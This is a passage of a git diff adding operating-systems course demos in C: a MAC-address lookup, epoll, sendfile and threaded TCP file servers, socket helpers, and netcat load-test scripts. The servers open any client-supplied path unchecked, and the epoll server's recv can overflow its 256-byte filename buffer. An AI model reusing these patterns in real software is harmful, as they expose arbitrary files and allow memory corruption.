http://stackoverflow.com/questions/1779715/how-to-get-mac-address-of-your-machine-using-a-c-program + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define IFNAME "eth0" + +int main(void) +{ + int s; + struct ifreq ifr; + int rc; + size_t i; + + s = socket(PF_INET, SOCK_DGRAM, 0); + DIE(s < 0, "socket"); + + strcpy(ifr.ifr_name, IFNAME); + rc = ioctl(s, SIOCGIFHWADDR, &ifr); + DIE(rc < 0, "ioctl"); + + printf("Hardware address for interface %s is ", IFNAME); + for (i = 0; i < IFHWADDRLEN-1; i++) + printf("%02x:", ((unsigned char *) ifr.ifr_hwaddr.sa_data)[i]); + printf("%02x", ((unsigned char *) ifr.ifr_hwaddr.sa_data)[IFHWADDRLEN-1]); + printf("\n"); + + close(s); + return 0; +} diff --git a/courses/curs-10-demo/utils/utils.h b/courses/curs-10-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-10-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-11-demo/.gitignore b/courses/curs-11-demo/.gitignore new file mode 100644 index 00000000..a1987aad --- /dev/null +++ b/courses/curs-11-demo/.gitignore @@ -0,0 +1,6 @@ +/server +/epoll-server +/sendfile-server +/threaded-server +/in-data/ +/out-data/ diff --git a/courses/curs-11-demo/Makefile b/courses/curs-11-demo/Makefile new file mode 100644 index 00000000..d4f9ab4a --- /dev/null +++ b/courses/curs-11-demo/Makefile @@ -0,0 +1,32 @@ +#CPPFLAGS = -DDEBUG -DLOG_LEVEL=LOG_DEBUG +CFLAGS = -Wall -Wextra -Wno-unused-parameter -g + +.PHONY: all clean + +build: all + +all: epoll-server server sendfile-server threaded-server + +epoll-server: epoll-server.o sock-util.o + +server: server.o sock-util.o + +sendfile-server: sendfile-server.o sock-util.o + +threaded-server: threaded-server.o sock-util.o + $(CC) $(LDFLAGS) -o $@ $^ -lpthread + +epoll-server.o: epoll-server.c sock-util.h debug.h util.h + +server.o: server.c sock-util.h debug.h util.h + +sendfile-server.o: sendfile-server.c sock-util.h debug.h util.h + +threaded-server.o: threaded-server.c sock-util.h debug.h util.h + +sock-util.o: sock-util.c sock-util.h debug.h util.h + +clean: + -rm -f *~ + -rm -f *.o + -rm -f epoll-server server sendfile-server threaded-server diff --git a/courses/curs-11-demo/create-files b/courses/curs-11-demo/create-files new file mode 100644 index 00000000..057249b4 --- /dev/null +++ b/courses/curs-11-demo/create-files @@ -0,0 +1,6 @@ +#!/bin/bash + +mkdir in-data > /dev/null 2>&1 +for i in $(seq -f "%04g" 0 9999); do + dd if=/dev/urandom of=in-data/file"$i" bs=100K count=1 > /dev/null 2>&1 +done diff --git a/courses/curs-11-demo/debug.h b/courses/curs-11-demo/debug.h new file mode 100644 index 00000000..493e9859 --- /dev/null +++ b/courses/curs-11-demo/debug.h @@ -0,0 +1,77 @@ +/* + * debugging macros + * heavily inspired by previous work and Internet resources + * + * uses C99 variadic macros + * uses non-standard usage of the token-paste operator (##) for + * removing the comma symbol (,) when not followed by a token + * uses non-standard __FUNCTION__ macro (MSVC doesn't support __func__) + * tested on gcc 4.4.5 and Visual Studio 2008 (9.0), compiler version 15.00 + * + * 2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro + */ + +#ifndef DEBUG_H_ +#define DEBUG_H_ 1 + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +/* log levels */ +enum { + LOG_EMERG = 1, + LOG_ALERT, + LOG_CRIT, + LOG_ERR, + LOG_WARNING, + LOG_NOTICE, + LOG_INFO, + LOG_DEBUG +}; + +/* + * initialize default loglevel (for dlog) + * may be redefined in the including code + */ + +#ifndef LOG_LEVEL +#define LOG_LEVEL LOG_WARNING +#endif + +/* + * define DEBUG macro as a compiler option: + * -DDEBUG for GCC + * /DDEBUG for MSVC + */ + +#if defined DEBUG +#define dprintf(format, ...) \ + fprintf(stderr, " [%s(), %s:%u] " format, \ + __FUNCTION__, __FILE__, __LINE__, \ + ##__VA_ARGS__) +#else +#define dprintf(format, ...) \ + do { \ + } while (0) +#endif + +#if defined DEBUG +#define dlog(level, format, ...) \ + do { \ + if (level <= LOG_LEVEL) \ + dprintf(format, ##__VA_ARGS__); \ + } while (0) +#else +#define dlog(level, format, ...) \ + do { \ + } while (0) +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/courses/curs-11-demo/download-parallel b/courses/curs-11-demo/download-parallel new file mode 100644 index 00000000..f6eee6cb --- /dev/null +++ b/courses/curs-11-demo/download-parallel @@ -0,0 +1,17 @@ +#!/bin/bash + +download_range() +{ + start="$1" + end="$2" + + for i in $(seq -f "%04g" "$start" "$end"); do + echo "file.tst" | nc localhost 42424 > /dev/null + done +} + +mkdir out-data > /dev/null 2>&1 +for i in $(seq 0 10); do + download_range $((${i}*100)) $((${i}*100+99)) & +done +wait diff --git a/courses/curs-11-demo/download-serial b/courses/curs-11-demo/download-serial new file mode 100644 index 00000000..c9e640c2 --- /dev/null +++ b/courses/curs-11-demo/download-serial @@ -0,0 +1,6 @@ +#!/bin/bash + +mkdir out-data > /dev/null 2>&1 +for i in $(seq -f "%04g" 0 999); do + echo "file.tst" | nc localhost 42424 > /dev/null +done diff --git a/courses/curs-11-demo/epoll-server.c b/courses/curs-11-demo/epoll-server.c new file mode 100644 index 00000000..977f85f3 --- /dev/null +++ b/courses/curs-11-demo/epoll-server.c @@ -0,0 +1,345 @@ +/* + * epoll-based file server. Uses epoll(7) to multiplex connections. + * + * TODO: + * - block data receiving when receive buffer is full (use circular buffers) + * - do not copy receive buffer into send buffer when send buffer data is + * still valid + * + * 2011, Operating Systems + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "debug.h" +#include "sock-util.h" +#include "w_epoll.h" + +#define LISTEN_PORT 42424 +#define BUFSIZE 10 + +/* server socket file descriptor */ +static int listenfd; + +/* epoll file descriptor */ +static int epollfd; + +enum connection_state { + STATE_INIT, + STATE_RECEIVE_DATA, + STATE_FILENAME_RECEIVED, + STATE_READ_DATA, + STATE_SEND_DATA, + STATE_ALL_DATA_READ, + STATE_CONNECTION_ERROR, +}; + +/* structure acting as a connection handler */ +struct connection { + int sockfd; + char filename[256]; + size_t bytes_recv; + char sock_send_buffer[BUFSIZ]; + size_t bytes_read; + size_t bytes_sent; + enum connection_state state; + int fd; +}; + +/* + * Initialize connection structure on given socket. + */ + +static struct connection *create_connection(int sockfd) +{ + struct connection *conn = malloc(sizeof(*conn)); + DIE(conn == NULL, "malloc"); + + conn->sockfd = sockfd; + memset(conn->filename, 0, 256); + memset(conn->sock_send_buffer, 0, BUFSIZ); + conn->bytes_recv = 0; + conn->bytes_read = 0; + conn->bytes_sent = 0; + conn->state = STATE_INIT; + conn->fd = -1; + + return conn; +} + +/* + * Remove connection handler. + */ + +static void remove_connection(struct connection *conn) +{ + w_epoll_remove_ptr(epollfd, conn->sockfd, conn); + close(conn->sockfd); + close(conn->fd); + free(conn); +} + +/* + * Handle a new connection request on the server socket. + */ + +static void handle_new_connection(void) +{ + static int sockfd; + socklen_t addrlen = sizeof(struct sockaddr_in); + struct sockaddr_in addr; + struct connection *conn; + int rc; + + /* Accept new connection. */ + sockfd = accept(listenfd, (SSA *) &addr, &addrlen); + if (sockfd < 0) { + ERR("accept"); + return; + } + + dlog(LOG_ERR, "Accepted connection from: %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + /* Instantiate new connection handler. */ + conn = create_connection(sockfd); + + /* Add socket to epoll. Wait for input (filename to serve). */ + rc = w_epoll_add_ptr_in(epollfd, sockfd, conn); + if (rc < 0) { + ERR("w_epoll_add_in"); + remove_connection(conn); + } +} + +/* + * Receive message on socket. + * Store filename in filename field in struct connection. + */ + +static void receive_message(struct connection *conn) +{ + ssize_t bytes_recv; + int rc; + char abuffer[64]; + + rc = get_peer_address(conn->sockfd, abuffer, 64); + if (rc < 0) { + ERR("get_peer_address"); + conn->state = STATE_CONNECTION_ERROR; + return; + } + bytes_recv = recv(conn->sockfd, conn->filename + conn->bytes_recv, BUFSIZ - conn->bytes_recv, 0); + if (bytes_recv < 0) { /* error in communication */ + dlog(LOG_ERR, "Error in communication from: %s\n", abuffer); + conn->state = STATE_CONNECTION_ERROR; + return; + } + if (bytes_recv == 0) { /* connection closed */ + dlog(LOG_INFO, "Connection closed from: %s\n", abuffer); + conn->state = STATE_FILENAME_RECEIVED; + return; + } + + dlog(LOG_DEBUG, "Received message from: %s\n", abuffer); + dlog(LOG_DEBUG, "Message received is: %s\n", conn->filename); + + conn->bytes_recv += bytes_recv; + conn->state = STATE_RECEIVE_DATA; + if (strchr(conn->filename, '\n') != NULL) + conn->state = STATE_FILENAME_RECEIVED; +} + +/* + * Receive filename. + */ + +static void receive_filename(struct connection *conn) +{ + int rc; + + /* If error (STATE_CONNECTION_ERROR), remove connection. */ + receive_message(conn); + if (conn->state == STATE_CONNECTION_ERROR) + goto error; + + /* When filename is received, only accept out events. */ + if (conn->state == STATE_FILENAME_RECEIVED) { + if (conn->filename[conn->bytes_recv-1] != '\n') { + fprintf(stderr, "No newline in filename.\n"); + goto error; + } + conn->filename[conn->bytes_recv-1] = '\0'; + rc = w_epoll_update_ptr_out(epollfd, conn->sockfd, conn); + if (rc < 0) { + ERR("w_epoll_add_ptr_out"); + goto error; + } + } + + return; +error: + remove_connection(conn); +} + +static void open_file(struct connection *conn) +{ + if (conn->fd < 0) { + conn->fd = open(conn->filename, O_RDONLY); + if (conn->fd < 0) { + ERR("open"); + conn->state = STATE_CONNECTION_ERROR; + return; + } + } + conn->state = STATE_READ_DATA; +} + +static void read_file(struct connection *conn) +{ + ssize_t bytes_read; + + bytes_read = read(conn->fd, conn->sock_send_buffer, BUFSIZE); + if (bytes_read < 0) { + ERR("read"); + conn->state = STATE_CONNECTION_ERROR; + return; + } + /* Close connection in case all data is read. */ + if (bytes_read == 0) { + conn->state = STATE_ALL_DATA_READ; + return; + } + conn->bytes_read = bytes_read; + conn->bytes_sent = 0; + conn->state = STATE_SEND_DATA; +} + +/* + * Send message on socket. + * Store message in sock_send_buffer in struct connection. + */ + +static void send_message(struct connection *conn) +{ + ssize_t bytes_sent; + int rc; + char abuffer[64]; + + rc = get_peer_address(conn->sockfd, abuffer, 64); + if (rc < 0) { + ERR("get_peer_address"); + goto error; + } + + bytes_sent = send(conn->sockfd, conn->sock_send_buffer + conn->bytes_sent, conn->bytes_read - conn->bytes_sent, 0); + if (bytes_sent < 0) { + dlog(LOG_ERR, "Error in communication to %s\n", abuffer); + goto error; + } + if (bytes_sent == 0) { + dlog(LOG_INFO, "Connection closed to %s\n", abuffer); + goto error; + } + + conn->bytes_sent += bytes_sent; + if (conn->bytes_sent >= conn->bytes_read) + conn->state = STATE_READ_DATA; + return; + +error: + conn->state = STATE_CONNECTION_ERROR; +} + +static void serve_file(struct connection *conn) +{ + switch (conn->state) { + case STATE_FILENAME_RECEIVED: + open_file(conn); + if (conn->state == STATE_CONNECTION_ERROR) + goto error; + /* Flow through. Having no 'break' statement is a feature. */ + + case STATE_READ_DATA: + read_file(conn); + if (conn->state == STATE_CONNECTION_ERROR || + conn->state == STATE_ALL_DATA_READ) + goto error; + /* Flow through. Having no 'break' statement is a feature. */ + + case STATE_SEND_DATA: + send_message(conn); + if (conn->state == STATE_CONNECTION_ERROR) + goto error; + break; + + default: + goto error; + } + + return; + +error: + remove_connection(conn); +} + +int main(void) +{ + int rc; + + /* Init multiplexing. */ + epollfd = w_epoll_create(); + DIE(epollfd < 0, "w_epoll_create"); + + /* Create server socket. */ + listenfd = tcp_create_listener(LISTEN_PORT, DEFAULT_LISTEN_BACKLOG); + DIE(listenfd < 0, "tcp_create_listener"); + + rc = w_epoll_add_fd_in(epollfd, listenfd); + DIE(rc < 0, "w_epoll_add_fd_in"); + + dlog(LOG_INFO, "Server waiting for connections on port %d\n", LISTEN_PORT); + + /* server main loop */ + while (1) { + struct epoll_event rev; + + /* Wait for events. */ + rc = w_epoll_wait_infinite(epollfd, &rev); + DIE(rc < 0, "w_epoll_wait_infinite"); + + /* + * Switch for event types; consider + * - new connection requests (on server socket) + * - socket communication (on connection sockets) + */ + + if (rev.data.fd == listenfd) { + dlog(LOG_DEBUG, "New connection\n"); + if (rev.events & EPOLLIN) + handle_new_connection(); + } + else { + if (rev.events & EPOLLIN) { + dlog(LOG_DEBUG, "New message\n"); + receive_filename(rev.data.ptr); + } + if (rev.events & EPOLLOUT) { + serve_file(rev.data.ptr); + } + } + } + + return 0; +} diff --git a/courses/curs-11-demo/sendfile-server.c b/courses/curs-11-demo/sendfile-server.c new file mode 100644 index 00000000..9ac5eb56 --- /dev/null +++ b/courses/curs-11-demo/sendfile-server.c @@ -0,0 +1,153 @@ +/* + * Simple file server. + * + * Operating Systems, 2014 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "debug.h" +#include "sock-util.h" +#include "w_epoll.h" + +#define LISTEN_PORT 42424 +#define BUFSIZE 10 + +/* + * "upgraded" read routine + */ + +static ssize_t xread(int fd, void *buffer, size_t len) +{ + ssize_t ret; + ssize_t n; + + n = 0; + while (n < (ssize_t) len) { + ret = read(fd, (char *) buffer + n, len - n); + if (ret < 0) + return -1; + if (ret == 0) + break; + n += ret; + } + + return n; +} + +/* + * "upgraded" recv routine + */ + +static ssize_t xrecv(int s, void *buffer, size_t len) +{ + return xread(s, buffer, len); +} + +/* + * Handle a new connection request on the server socket. + */ + +static int accept_connection(int listenfd) +{ + int sockfd; + socklen_t addrlen = sizeof(struct sockaddr_in); + struct sockaddr_in addr; + + /* Accept new connection. */ + sockfd = accept(listenfd, (SSA *) &addr, &addrlen); + DIE(sockfd < 0, "accept"); + + dlog(LOG_INFO, "Accepted connection from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + return sockfd; +} + +static int receive_filename(int s, char *buffer, size_t len) +{ + ssize_t n; + int valid = 1; + + n = xrecv(s, buffer, len); + if (n < 0) + valid = -1; + else { + if (buffer[n-1] != '\n') + valid = 0; + else + buffer[n-1] = '\0'; + } + + return valid; +} + +static int serve_file(int s, const char *fname) +{ + int fd; + int err = 0; + int rc; + struct stat sbuf; + + fd = open(fname, O_RDONLY); + if (fd < 0) { + ERR("open"); + goto bad_file; + } + rc = fstat(fd, &sbuf); + if (rc < 0) { + ERR("fstat"); + goto bad_fstat; + } + rc = sendfile(s, fd, NULL, sbuf.st_size); + if (rc < 0) { + ERR("sendfile"); + goto bad_sendfile; + } + + close(fd); +out: + return err; + +bad_sendfile: +bad_fstat: + close(fd); +bad_file: + err = -1; + goto out; +} + +int main(void) +{ + int listenfd; /* server socket file descriptor */ + int connectfd; /* connection socket */ + int valid; /* is request valid */ + char fname[256]; + + /* Create server socket. */ + listenfd = tcp_create_listener(LISTEN_PORT, DEFAULT_LISTEN_BACKLOG); + DIE(listenfd < 0, "tcp_create_listener"); + + /* server main loop */ + while(1){ + connectfd = accept_connection(listenfd); + valid = receive_filename(connectfd, fname, 256); + if (valid) + serve_file(connectfd, fname); + close(connectfd); + } + + return 0; +} diff --git a/courses/curs-11-demo/server.c b/courses/curs-11-demo/server.c new file mode 100644 index 00000000..2cc55db7 --- /dev/null +++ b/courses/curs-11-demo/server.c @@ -0,0 +1,193 @@ +/* + * Simple file server. + * + * Operating Systems, 2014 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "debug.h" +#include "sock-util.h" +#include "w_epoll.h" + +#define LISTEN_PORT 42424 +#define BUFSIZE 100000 + +/* + * "upgraded" read routine + */ + +static ssize_t xread(int fd, void *buffer, size_t len) +{ + ssize_t ret; + ssize_t n; + + n = 0; + while (n < (ssize_t) len) { + ret = read(fd, (char *) buffer + n, len - n); + if (ret < 0) + return -1; + if (ret == 0) + break; + n += ret; + } + + return n; +} + +/* + * "upgraded" write routine + */ + +static ssize_t xwrite(int fd, const void *buffer, size_t len) +{ + ssize_t ret; + ssize_t n; + + n = 0; + while (n < (ssize_t) len) { + ret = write(fd, (const char *) buffer + n, len - n); + if (ret < 0) + return -1; + if (ret == 0) + break; + n += ret; + } + + return n; +} + +/* + * "upgraded" recv routine + */ + +static ssize_t xrecv(int s, void *buffer, size_t len) +{ + return xread(s, buffer, len); +} + +/* + * "upgraded" send routine + */ + +static ssize_t xsend(int s, const void *buffer, size_t len) +{ + return xwrite(s, buffer, len); +} + +/* + * Handle a new connection request on the server socket. + */ + +static int accept_connection(int listenfd) +{ + int sockfd; + socklen_t addrlen = sizeof(struct sockaddr_in); + struct sockaddr_in addr; + + /* Accept new connection. */ + sockfd = accept(listenfd, (SSA *) &addr, &addrlen); + DIE(sockfd < 0, "accept"); + + dlog(LOG_INFO, "Accepted connection from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + return sockfd; +} + +static int receive_filename(int s, char *buffer, size_t len) +{ + ssize_t n; + int valid = 1; + + n = xrecv(s, buffer, len); + if (n < 0) + valid = -1; + else { + if (buffer[n-1] != '\n') + valid = 0; + else + buffer[n-1] = '\0'; + } + if (valid) + printf ("%s\n",buffer); + else + printf("Got wrong fn\n"); + + return valid; +} + +static int serve_file(int s, const char *fname) +{ + char buffer[BUFSIZE]; + ssize_t n, n2; + int fd; + int err = 0; + + fd = open(fname, O_RDONLY); + if (fd < 0) { + ERR("open"); + goto bad_file; + } + + while (1) { + n = read(fd, buffer, BUFSIZE); + if (n < 0) { + ERR("read"); + goto bad_read; + } + if (n == 0) + break; + + n2 = xsend(s, buffer, n); + if (n2 < 0) { + ERR("send"); + goto bad_send; + } + } + + close(fd); +out: + return err; + +bad_send: +bad_read: + close(fd); +bad_file: + err = -1; + goto out; +} + +int main(void) +{ + int listenfd; /* server socket file descriptor */ + int connectfd; /* connection socket */ + int valid; /* is request valid */ + char fname[256]; + + /* Create server socket. */ + listenfd = tcp_create_listener(LISTEN_PORT, DEFAULT_LISTEN_BACKLOG); + DIE(listenfd < 0, "tcp_create_listener"); + + /* server main loop */ + while(1){ + connectfd = accept_connection(listenfd); + valid = receive_filename(connectfd, fname, 9); + if (valid) + serve_file(connectfd, fname); + close(connectfd); + } + + return 0; +} diff --git a/courses/curs-11-demo/sock-util.c b/courses/curs-11-demo/sock-util.c new file mode 100644 index 00000000..b7d93d6f --- /dev/null +++ b/courses/curs-11-demo/sock-util.c @@ -0,0 +1,128 @@ +/* + * sock_util.c: useful socket functions + * + * 2008-2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "debug.h" +#include "sock-util.h" + +/* + * Connect to a TCP server identified by name (DNS name or dotted decimal + * string) and port. + */ + +int tcp_connect_to_server(const char *name, unsigned short port) +{ + struct hostent *hent; + struct sockaddr_in server_addr; + int s; + int rc; + + hent = gethostbyname(name); + DIE(hent == NULL, "gethostbyname"); + + s = socket(PF_INET, SOCK_STREAM, 0); + DIE(s < 0, "socket"); + + memset(&server_addr, 0, sizeof(server_addr)); + server_addr.sin_family = AF_INET; + server_addr.sin_port = htons(port); + memcpy(&server_addr.sin_addr.s_addr, hent->h_addr, + sizeof(server_addr.sin_addr.s_addr)); + + rc = connect(s, (struct sockaddr *) &server_addr, sizeof(server_addr)); + DIE(rc < 0, "connect"); + + return s; +} + +int tcp_close_connection(int sockfd) +{ + int rc; + + rc = shutdown(sockfd, SHUT_RDWR); + DIE(rc < 0, "shutdown"); + + return close(sockfd); +} + +/* + * Create a server socket. + */ + +int tcp_create_listener(unsigned short port, int backlog) +{ + struct sockaddr_in address; + int listenfd; + int sock_opt; + int rc; + + listenfd = socket(PF_INET, SOCK_STREAM, 0); + DIE(listenfd < 0, "socket"); + + sock_opt = 1; + rc = setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, + &sock_opt, sizeof(int)); + DIE(rc < 0, "setsockopt"); + + memset(&address, 0, sizeof(address)); + address.sin_family = AF_INET; + address.sin_port = htons(port); + address.sin_addr.s_addr = INADDR_ANY; + + rc = bind(listenfd, (SSA *) &address, sizeof(address)); + DIE(rc < 0, "bind"); + + rc = listen(listenfd, backlog); + DIE(rc < 0, "listen"); + + return listenfd; +} + +/* + * Use getpeername(2) to extract remote peer address. Fill buffer with + * address format IP_address:port (e.g. 192.168.0.1:22). + */ + +int get_peer_address(int sockfd, char *buf, size_t len) +{ + struct sockaddr_in addr; + socklen_t addrlen = sizeof(struct sockaddr_in); + + if (getpeername(sockfd, (SSA *) &addr, &addrlen) < 0) + return -1; + + snprintf(buf, len, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + return 0; +} diff --git a/courses/curs-11-demo/sock-util.h b/courses/curs-11-demo/sock-util.h new file mode 100644 index 00000000..31a92877 --- /dev/null +++ b/courses/curs-11-demo/sock-util.h @@ -0,0 +1,48 @@ +/* + * sock_util.h: useful socket macros and structures + * + * 2008-2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#ifndef SOCK_UTIL_H_ +#define SOCK_UTIL_H_ 1 + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +/* default backlog for listen(2) system call */ +#define DEFAULT_LISTEN_BACKLOG 5 + +/* "shortcut" for struct sockaddr structure */ +#define SSA struct sockaddr + + +int tcp_connect_to_server(const char *name, unsigned short port); +int tcp_close_connection(int s); +int tcp_create_listener(unsigned short port, int backlog); +int get_peer_address(int sockfd, char *buf, size_t len); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/courses/curs-11-demo/threaded-server.c b/courses/curs-11-demo/threaded-server.c new file mode 100644 index 00000000..9f1f0b4d --- /dev/null +++ b/courses/curs-11-demo/threaded-server.c @@ -0,0 +1,275 @@ +/* + * Simple file server. + * + * Operating Systems, 2014 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "debug.h" +#include "sock-util.h" +#include "w_epoll.h" + +#define LISTEN_PORT 42424 +#define BUFSIZE 8192 + +static struct { +#define BAG_EMPTY_SIZE 0 +#define BAG_FULL_SIZE 16 + int buffer[BAG_FULL_SIZE]; + int size; + pthread_mutex_t mutex; + pthread_cond_t empty_cond; + pthread_cond_t full_cond; +} bag; + +/* + * "upgraded" read routine + */ + +static ssize_t xread(int fd, void *buffer, size_t len) +{ + ssize_t ret; + ssize_t n; + + n = 0; + while (n < (ssize_t) len) { + ret = read(fd, (char *) buffer + n, len - n); + if (ret < 0) + return -1; + if (ret == 0) + break; + n += ret; + } + + return n; +} + +/* + * "upgraded" write routine + */ + +static ssize_t xwrite(int fd, const void *buffer, size_t len) +{ + ssize_t ret; + ssize_t n; + + n = 0; + while (n < (ssize_t) len) { + ret = write(fd, (const char *) buffer + n, len - n); + if (ret < 0) + return -1; + if (ret == 0) + break; + n += ret; + } + + return n; +} + +/* + * "upgraded" recv routine + */ + +static ssize_t xrecv(int s, void *buffer, size_t len) +{ + return xread(s, buffer, len); +} + +/* + * "upgraded" send routine + */ + +static ssize_t xsend(int s, const void *buffer, size_t len) +{ + return xwrite(s, buffer, len); +} + +/* + * Handle a new connection request on the server socket. + */ + +static int accept_connection(int listenfd) +{ + int sockfd; + socklen_t addrlen = sizeof(struct sockaddr_in); + struct sockaddr_in addr; + + /* Accept new connection. */ + sockfd = accept(listenfd, (SSA *) &addr, &addrlen); + DIE(sockfd < 0, "accept"); + + dlog(LOG_INFO, "Accepted connection from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + return sockfd; +} + +static int receive_filename(int s, char *buffer, size_t len) +{ + ssize_t n; + int valid = 1; + + n = xrecv(s, buffer, len); + if (n < 0) + valid = -1; + else { + if (buffer[n-1] != '\n') + valid = 0; + else + buffer[n-1] = '\0'; + } + + return valid; +} + +static int serve_file(int s, const char *fname) +{ + char buffer[BUFSIZE]; + ssize_t n, n2; + int fd; + int err = 0; + + fd = open(fname, O_RDONLY); + if (fd < 0) { + ERR("open"); + goto bad_file; + } + + while (1) { + n = read(fd, buffer, BUFSIZE); + if (n < 0) { + ERR("read"); + goto bad_read; + } + if (n == 0) + break; + + n2 = xsend(s, buffer, n); + if (n2 < 0) { + ERR("send"); + goto bad_send; + } + } + + close(fd); +out: + return err; + +bad_send: +bad_read: + close(fd); +bad_file: + err = -1; + goto out; +} + +static void add_to_bag(int s) +{ + pthread_mutex_lock(&bag.mutex); + while (bag.size == BAG_FULL_SIZE) + pthread_cond_wait(&bag.full_cond, &bag.mutex); + bag.buffer[bag.size] = s; + bag.size++; + pthread_cond_signal(&bag.empty_cond); + pthread_mutex_unlock(&bag.mutex); +} + +static int remove_from_bag(void) +{ + int s; + + pthread_mutex_lock(&bag.mutex); + while (bag.size == BAG_EMPTY_SIZE) + pthread_cond_wait(&bag.empty_cond, &bag.mutex); + bag.size--; + s = bag.buffer[bag.size]; + pthread_cond_signal(&bag.full_cond); + pthread_mutex_unlock(&bag.mutex); + + return s; +} + + +/* Thread function: Read socket from bag and process. Repeat forever. */ +static void *thread_serve(void *arg) +{ + int sockfd; + int valid; /* is request valid */ + char fname[256]; + + while (1) { + sockfd = remove_from_bag(); + valid = receive_filename(sockfd, fname, 9); + if (valid) + serve_file(sockfd, fname); + close(sockfd); + } + + return NULL; +} + +static void init_bag(void) +{ + memset(bag.buffer, 0, BAG_FULL_SIZE); + bag.size = 0; + pthread_mutex_init(&bag.mutex, NULL); + pthread_cond_init(&bag.empty_cond, NULL); + pthread_cond_init(&bag.full_cond, NULL); +} + +static void create_threads(void) +{ + pthread_t *tids; + int nprocs; + size_t i; + + nprocs = sysconf(_SC_NPROCESSORS_ONLN); + if (nprocs < 0) { + perror("sysconf"); + exit(EXIT_FAILURE); + } + + tids = malloc(nprocs * sizeof(*tids)); + for (i = 0; i < (size_t) nprocs; i++) + if (pthread_create(&tids[i], NULL, thread_serve, NULL) != 0) { + perror("pthread_create"); + exit(EXIT_FAILURE); + } +} + +int main(void) +{ + int listenfd; /* server socket file descriptor */ + int connectfd; /* connection socket */ + + /* Initialize bag of tasks. */ + init_bag(); + + /* Create worker threads. */ + create_threads(); + + /* Create server socket. */ + listenfd = tcp_create_listener(LISTEN_PORT, DEFAULT_LISTEN_BACKLOG); + DIE(listenfd < 0, "tcp_create_listener"); + + /* server main loop */ + while(1){ + connectfd = accept_connection(listenfd); + add_to_bag(connectfd); + } + + return 0; +} diff --git a/courses/curs-11-demo/util.h b/courses/curs-11-demo/util.h new file mode 100644 index 00000000..776715af --- /dev/null +++ b/courses/curs-11-demo/util.h @@ -0,0 +1,71 @@ +/* + * useful structures/macros + * + * 2011, Operating Systems + */ + +#ifndef UTIL_H_ +#define UTIL_H_ 1 + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#if defined (_WIN32) + +#include + +static VOID PrintLastError(const PCHAR message) +{ + CHAR errBuff[1024]; + + FormatMessage( + FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, + NULL, + GetLastError(), + 0, + errBuff, + sizeof(errBuff) - 1, + NULL); + + fprintf(stderr, "%s: %s\n", message, errBuff); +} + +#define ERR(call_description) \ + do { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + PrintLastError(call_description); \ + } while (0) + +#elif defined (__linux__) + +/* error printing macro */ +#define ERR(call_description) \ + do { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + } while (0) + +#else + #error "Unknown platform" +#endif + +/* print error (call ERR) and exit */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + ERR(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/courses/curs-11-demo/w_epoll.h b/courses/curs-11-demo/w_epoll.h new file mode 100644 index 00000000..9cb6f594 --- /dev/null +++ b/courses/curs-11-demo/w_epoll.h @@ -0,0 +1,181 @@ +/* + * epoll wrapper functions + * + * 2011, Operating Systems + */ + +#ifndef W_EPOLL_H_ +#define W_EPOLL_H_ 1 + +#ifdef __cplusplus +extern "C" { +#endif + + +#define EPOLL_TIMEOUT_INFINITE -1 + + +static inline int w_epoll_create(void) +{ + return 